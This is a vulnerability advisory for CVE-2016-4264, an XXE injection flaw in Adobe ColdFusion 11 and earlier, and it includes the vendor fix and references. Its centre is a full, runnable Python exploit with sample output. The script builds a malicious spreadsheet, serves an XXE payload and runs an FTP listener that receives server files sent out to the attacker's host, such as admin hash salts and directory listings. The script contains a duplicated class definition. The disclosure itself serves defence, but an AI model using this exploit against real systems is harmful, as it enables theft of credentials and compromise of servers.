============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-4264 - APSB16-30 - Release date: 31.08.2016 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- Adobe ColdFusion <= 11 XML External Entity (XXE) Injection II. BACKGROUND ------------------------- "Adobe ColdFusion 11 Enterprise Edition offers a single platform to rapidly build and deploy scalable, high-performing web and mobile applications. Leverage unique capabilities to develop, test, and debug mobile applications end to end. Generate high-quality PDF files and manipulate them easily." http://www.adobe.com/products/coldfusion-family.html ColdFusion is widely deployed. A google search for a ColdFusion index file (index.cfm) exposes over 30 million websites of various sectors that make use of ColdFusion platform in a visible way: https://www.google.com/?q=inurl:%2Findex.cfm including various government websites: https://www.google.com/search?q=inurl:index.cfm+site:gov III. INTRODUCTION ------------------------- An independent research revealed that Adobe ColdFusion in versions 11 and below is vulnerable to XXE Injection when processing untrusted office documents. Depending on web application's functionality and the attacker's ability to supply a malicious document to be processed by a vulnerable ColdFusion application, this vulnerability may potentially be exploited by both low-privileged and unauthenticated remote attackers. This vulnerability can allow various attacks including: - reading arbitrary files (stored on the server and within the network shares) - listing web/system directories - SSRF attacks / unauthorized access to restricted services running on the localhost as well as within the victim's server network - SMB relay attacks - temporary file uploads which may be used by attackers in combination with LFI vulnerabilities to supply malicious code This advisory provides a PoC exploit that demonstrates how a remote attacker could read arbitrary files from the target server, as well as list directories. Ability to read arbitrary files could for example let attackers extract sensitive information such as ColdFusion password hashes of the management console or stored database credentials. This could allow unauthorized access to weakly protected ColdFusion management interfaces and let attackers upload malicious code which could be used to fully compromise the server. IV. DESCRIPTION ------------------------- The XXE vulnerability was found in the Office Open XML (OOXML) processing functions which are utilised when opening documents that use XML structure. Documents that are commonly stored in this format include: - DOCX (Word documents) - XLSX (Excel spreadsheets) - PPTX (PowerPoint presentations) More information about the format can be found in: https://en.wikipedia.org/wiki/Office_Open_XML The vulnerability is caused by an unrestricted XML parser which allows for external XML entities processing when parsing such document. Many web applications often accept OOXML documents from their users to process documents of various purposes, for example: - invoices - bank statements - bills - tax forms - inventory - CVs / cover letters - application forms etc. Such upload functionality is often exposed to low-privileged or even unauthenticated remote users. If an attacker is able to upload a specially crafted OOXML document which is later processed by an application written in Adobe ColdFusion, they may be able to perform various malicious actions including arbitrary file reading and directory listing as mentioned in the introduction. This could for example be used by malicious users to read sensitive ColdFusion config files such as: - neo-security.xml , which stores ColdFusion admin's password hash salt - password.properties , which stores admin's password hash - neo-datasource.xml , which stores database credentials that are stored in c:\ColdFusion11\cfusion\lib\ directory by default on Windows installations. Attackers might also access the application sourcecodes within the documentroot: c:\ColdFusion11\cfusion\wwwroot or access other sensitive system files available within the system. As the vulnerability also allows browsing the filesystem and its directories, attackers may easily find interesting files and ColdFusion config/webroot directories even if the paths differ from the default ones. Attackers who have gained access to password hashes could then proceed to cracking them in order to gain unauthorised access to the databases and ColdFusion administrator panels to fully compromise the target. More information on hashes used by ColdFusion 11 can be found in the references below. The next section presents a PoC exploit that can be used for file/directory retrieval. The exploit will work even if the target ColdFusion application does not return any data back to the attacker upon processing a malicious document file. The extracted data will be sent over the network back to the attacker as soon as the document file is processed. V. PROOF OF CONCEPT EXPLOIT ------------------------- An example vulnerable ColdFusion application written in CFML language which loads a spreadsheet document could look as follows: ---[ vulnerable.cfm ]--- <cfspreadsheet format="csv" action="read" src="#expandPath( 'cf_poc_exploit.xlsx' )#" name="xlsdoc" rows="1-4" /> <cfoutput>#xlsdoc#</cfoutput> ------------------------ For simplicity, this ColdFusion application will load cf_poc_exploit.xlsx document from the current directory. In a real-world situation the application would allow a user to upload a document from their disk or alternatively fetch it from a URL. Attacker could use the exploit below to prepare a malicious document and supply it to a vulnerable ColdFusion application. ---[ ./cf_xxe_exploit.py ]--- #!/usr/bin/python intro = """ (CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be uploaded to a vulnerable ColdFusion application. It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080) in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet). Discovered/Coded by: Dawid Golunski http://legalhackers.com """ usage = """ Usage: The exploit requires that you have an external IP and can start web/http listeners on ports 8080/9090 on the attacking machine. ./cf_xxe_exploit.py external_IP 'path_to_fetch' The example below starts an ftp listener on 192.168.1.40 (port 9090) and web server on 8080 and fetches c:\windows\win.ini file from the target. ./cf_xxe_exploit.py 192.168.1.40 c:/windows/win.ini The path can also be a directory to retrieve a directory listing e.g: ./cf_xxe_exploit.py 192.168.1.40 c:/ will list the contents of drive C: on Windows Disclaimer: For testing purposes only. Do no harm. Full advisory URL: http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt """ import socket import subprocess import sys import web # http://webpy.org/installation import threading import time # What file to retrieve from the victim server target_file = "c:/ColdFusion11/cfusion/lib/pass" # Web server (to serve XML) external_ip = '192.168.57.10' web_port = 8080 # File receiver ftp_port = 9090 timeout=5 # HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection class webserver(threading.Thread): def run (self): urls = ('/passdata.xml', 'pass_xml') app = web.application(urls, globals()) #app.run() return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port)) # Pass data to ftp server using passdata.xml class pass_xml: def GET(self): print xxe_send_payload # HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection class webserver(threading.Thread): def run (self): urls = ('/passdata.xml', 'pass_xml') app = web.application(urls, globals()) #app.run() return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port)) # Return helper xml/xxe payload to forward data class pass_xml: def GET(self): print "[+] Received GET /passdata.xml web request from the victim (%s) ! TARGET VULNERABLE to XXE !\n" % (web.ctx['ip']) return xxe_send_payload def shutdown(code): print "[+] That's it folks :) Shutting down \n" web.httpserver.server.interrupt = KeyboardInterrupt() exit(code) # [ Main Meat ] print intro redirector_started = 0 if len(sys.argv) < 3 : print usage sys.exit(2) # Overwrite settings with parameters from argv[] external_ip = sys.argv[1] target_file = sys.argv[2] print "[+] Setting external IP to '%s' and target path to '%s'\n" % (external_ip, target_file) # Prepare XXE payloads #OOXML XXE stub ooxml_xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Types [ <!ENTITY % remote SYSTEM "http://_attackerhost_:_webport_/passdata.xml"> %remote; ]> """ ooxml_xxe_payload = ooxml_xxe_payload.replace("_attackerhost_", external_ip) ooxml_xxe_payload = ooxml_xxe_payload.replace("_webport_", str(web_port)) # passdata.xml xxe_send_payload = """<!ENTITY % file1 SYSTEM "file:///_filepath_"> <!ENTITY % param1 '<!ENTITY &#37; retrfile1 SYSTEM "ftp://cfhack:PoCexploit@_attackerhost_:_ftpport_/%file1;" >' > %param1; %retrfile1; """ xxe_send_payload = xxe_send_payload.replace("_filepath_", target_file) xxe_send_payload = xxe_send_payload.replace("_attackerhost_", external_ip) xxe_send_payload = xxe_send_payload.replace("_ftpport_", str(ftp_port)) # Create OXML spreadsheet file cf_poc_spreadsheet.xlsx with XXE payload f = open("[Content_Types].xml", "w") f.write(ooxml_xxe_payload ) f.close() cmd = "zip -r cf_poc_spreadsheet.xlsx '[Content_Types].xml' && rm -f '[Content_Types].xml'" process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() if rc != 0: print "Error: failed to execute command:", cmd print error shutdown(3) print "[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file\n" print "[+] Starting our web server to serve XML on %s:%s \n" % (external_ip, web_port) webserver().start() time.sleep(1) print '\n[+] Starting FTP/data listener and waiting for connection on %s:%d\n' % (external_ip, ftp_port) s = socket.socket() # Create/bind socket s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((external_ip, ftp_port)) print "[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...\n" s.listen(5) # Wait for the victim to connect c, addr = s.accept() # Establish connection with the victim print '\n[+] Got a connection from ', addr, " to our FTP/data server. Meaning juicy data is on the way! :)\n" c.send("220 Welcome to ColdFusion XXE PoC exploit server\n") print '[+] Receiving data from the victim...\n' downloaded = "" while True: data = "" c.settimeout(timeout) try: data = c.recv(1024) except socket.timeout: print "Timeout ! No more data\n" break # extract data if data.startswith("CWD "): downloaded = downloaded + data[4:] if data.startswith("RETR "): downloaded = downloaded + data[5:] print "Received packet: " + data #sys.stdout.write('.') #sys.stdout.flush() if "USER" in data: c.send("331 password needed\n") elif "RETR" in data: c.send("550 No such file or directory.\n") break else: c.send('230 continue\n') # Results print "\n\n[+] Here's the retrieved contents of the target file/directory (%s) : \n\n%s\n" % (target_file, downloaded) # shutdown c.close() # Close the connection s.shutdown(0) s.close() shutdown(0) -------------[eof]----------- You can see the exploit in action in a PoC video at: http://legalhackers.com/videos/ColdFusion-XXE-PoC-Exploit There are also two examples below: A) Reading c:/ColdFusion11/cfusion/lib/neo-security.xml file which contains admin hash salt: root@trusty:~/exploit# ./cf_xxe_exploit.py 192.168.57.10 c:/ColdFusion11/cfusion/lib/neo-security.xml (CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be uploaded to a vulnerable ColdFusion application. It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080) in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet). Discovered/Coded by: Dawid Golunski http://legalhackers.com [+] Setting external IP to '192.168.57.10' and target path to 'c:/ColdFusion11/cfusion/lib/neo-security.xml' [+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file [+] Starting our web server to serve XML on 192.168.57.10:8080 http://0.0.0.0:8080/ [+] Starting FTP/data listener and waiting for connection on 192.168.57.10:9090 [*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now... [+] Received GET /passdata.xml web request from the victim (192.168.57.21) ! TARGET VULNERABLE to XXE ! 192.168.57.21:57219 - - [31/Aug/2016 20:12:06] "HTTP/1.1 GET /passdata.xml" - 200 OK [+] Got a connection from ('192.168.57.21', 57220) to our FTP/data server. Meaning juicy data is on the way! :) [+] Receiving data from the victim... Received packet: USER cfhack Received packet: PASS PoCexploit Received packet: TYPE I Received packet: CWD <wddxPacket version='1.0'><header [cut] [+] Here's the retrieved contents of the target file/directory (c:/ColdFusion11/cfusion/lib/neo-security.xml) : <wddxPacket version='1.0'><header [cut] struct>< var><var name='admin.userid.root.salt'><string>A54B28011C6AC37F4D65B7D608D40722DAD6CDF25A943C809492637D2CC6265F< string>< var><var name='rds.enabled'><string>false< [cut] [+] That's it folks :) Shutting down ~~~~~~~~~~~ B) Listing the contents of the c:/ColdFusion11/ directory: root@trusty:~/exploit# ./cf_xxe_exploit.py 192.168.57.10 c:/ColdFusion11/ [cut] [+] Setting external IP to '192.168.57.10' and target path to 'c:/ColdFusion11/' [+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file [+] Starting our web server to serve XML on 192.168.57.10:8080 http://0.0.0.0:8080/ [+] Starting FTP/data listener and waiting for connection on 192.168.57.10:9090 [*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now... [+] Received GET /passdata.xml web request from the victim (192.168.57.21) ! TARGET VULNERABLE to XXE ! 192.168.57.21:57245 - - [31/Aug/2016 20:14:06] "HTTP/1.1 GET /passdata.xml" - 200 OK [+] Got a connection from ('192.168.57.21', 57246) to our FTP/data server. Meaning juicy data is on the way! :) [+] Receiving data from the victim... Received packet: USER cfhack Received packet: RETR Adobe_ColdFusion_11_Install_08_30_2016_19_59_04.log cf_app.ico [cut] [+] Here's the retrieved contents of the target file/directory (c:/ColdFusion11/) : Adobe_ColdFusion_11_Install_08_30_2016_19_59_04.log cf_app.ico cfusion config jre license.html Readme.htm uninstall [+] That's it folks :) Shutting down VI. BUSINESS IMPACT ------------------------- The vulnerability can be abused by low-privileged or unauthenticated remote attackers depending on application's functionality and lead to sensitive information disclosure. It can allow attackers to read arbitrary files or expose internal services running on the server and within the local network. Attackers could for example read stored password hashes or database credentials which may aid attackers with gaining access to ColdFusion admin interface. Extracting application sourcecodes could also be of use to attackers and help them to find other vulnerabilities to fully compromise an affected target. VII. SYSTEMS AFFECTED ------------------------- ColdFusion installations before: - ColdFusion 11 Update 10 - ColdFusion 10 Update 21 are affected by this vulnerability. VIII. SOLUTION ------------------------- Update to ColdFusion 11 Update 10 which include critical hotfixes released by the vendor upon initial private disclosure to Adobe. Alternatively users can upgrade their installation to ColdFusion 2016 which is not affected. The vulnerability fix/advisory has been assigned APSB16-30 id by Adobe. Links to the critical Adobe hotfix patches can be found in the references below. IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt http://legalhackers.com/exploits/cf_xxe_exploit_CVE-2016-4264.py PoC exploit video: http://legalhackers.com/videos/ColdFusion-XXE-PoC-Exploit https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4264 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4264 Adobe ColdFusion critical hotfix/vuln announcement: https://helpx.adobe.com/security/products/coldfusion/apsb16-30.html Info on ColdFusion configs and used hashes: http://www.openwall.com/lists/john-users/2015/06/07/1 https://helpx.adobe.com/coldfusion/kb/purpose-location-xml-configuration-files.html https://blogs.adobe.com/psirt/?p=1395 http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers Lockdown guides: http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/cf11/cf11-lockdown-guide.pdf X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 31.08.2016 - advisory released 01.09.2016 - corrections applied 07.09.2016 - added PoC video XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.